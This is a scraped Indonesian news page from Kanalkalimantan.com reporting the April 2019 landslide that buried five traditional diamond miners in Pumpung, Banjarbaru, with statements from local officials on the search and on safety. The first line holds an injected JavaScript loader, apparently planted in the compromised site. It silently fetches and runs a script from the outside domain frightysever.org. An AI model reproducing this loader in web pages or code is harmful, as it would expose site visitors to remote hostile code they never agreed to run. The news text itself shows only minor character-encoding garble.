(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Proses pencarian korban longsor pendulangan intan tradisional di Pumpung, Kecamatan Cempaka, Kota Banjarbaru, terus berlangsung hingga malam hari. Alat pencahayaan dan penambahan mesin genset telah disiapkan tim gabungan evakuasi pencarian korban, data terkini dari tim evakuasi gabungan sudah dua korban yang berhasil ditemukan, Senin (8/4/2019) sekitar pukul 18.300 Wita.
Sekitar pukul 17.35 WITA korban kedua berhasil ditemukan dari longsoran tanah dalam keadaan tak bernyawa berhasil dievakuasi. Sebelumnya korban pertama dari 5 pendulang intan yang tertimbun ditemukan setelah hampir 3 jam pencarian, korban longsor ditemukan sekitar pukul 16.30 Wita.
Wakil Walikota Banjarbaru, Darmawan Jaya mengatakan, saat terjadinya longsor pada pukul 14.30 Wita, kelompok pendulang intan tradisional tercatat ada 7 orang. Ada 2 orang pendulang intan lainnya berhasil menyelamatkan diri saat terjadi longsor tanah yang menimbun 5 rekan kerja mereka. Pekerja tambang intan tradisional yang tidak selamat yaitu Askom, Jumat, Dumat, Oval, dan Aau.
Darmawan Jaya mengungkapkan, melalui proses pencarian dari seluruh elemen masyarakat, BPBD Pemprov Kalsel dan BPBD Kota Banjarbaru, Polisi, TNI, Basarnas, pencarian korban hingga pukul 18.30 Wita, telah berhasil menemukan dua korban yang tertimbun tanah.
“Ada dua korban yang berhasil ditemukan. Sekitar pukul 16.30 Wita korban pertama bernama Dumat, selang satu jam berikutnya saudara kita Aau juga berhasil ditemukan,†ujarnya kepada Kanalkalimantan.com di lokasi pencarian.
Sedangkan tiga korban lainnya, yaitu Askom, Oval dan Jumat masih terus berlangsung pencarian hingga malam hari. Meski bergitu, Wakil Walikota Banjarbaru mengharapkan dua hingga tiga jam kedepan korban lainnya akan ditemukan.
“Menurut laporan terakhir ada satu lagi yang akan dievakuasi, kita doakan saja semoga bisa cepat ditemukan,†lanjutnya.
Untuk membantu proses pencarian korban pada malam hari, BPBD Provinsi Kalsel dan Basarnas Banjarmasin menyediakan lampu sorot sebanyak satu buah. Bantuan dari masyarakat berupa alat berat juga telah siap diturunkan, namun karena terkendala dengan medan di lokasi pendulangan intan tradisional, maka hal tersebut tidak dapat terealisasikan.
Darmawan Jaya mengungkapkan pihaknya telah mendapat laporan dari masyarakat bahwa di lokasi pendulang intan tradisional tersebut sangat rawan. Bahkan katanya, hingga satu dua tahun belakangan telah terjadi 50 kali longsor.
Untuk itu ia mengatakan Pemkot Banjarbaru akan melakukan pembinaan kepada masyarakat sekitar, salah satunya dengan sistem menambang intan dengan cara yang lama.
“Kita akan lakukan pembinaan dengan sistem menambang yang dilakukan orang tua kita dulu. Kalau dulu, selama 25 tahun hanya satu saja korban meninggal. Jadi menambangnya bisa turun ke bawah, dan membuat lorong ke kiri dan kanan. Itu safetynya lebih baik dan bisa dikembangkan untuk kegiatan wisata di bidang pertambangan,†pungkasnya.
Disisi lain, Kapolres Banjarbaru AKBP Kelana Jaya mengatakan, pihaknya akan melakukan langkah-langkah perspektif untuk mengantisipasi lokasi lokasi rawan pendulangan intan.
“Saat ini kita fokus dulu evakuasi korban. Kedepannya kita akan koordinasikan dengan pemerintah daerah, TNI dan pihak yang terlibat,†ujarnya. (rico)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.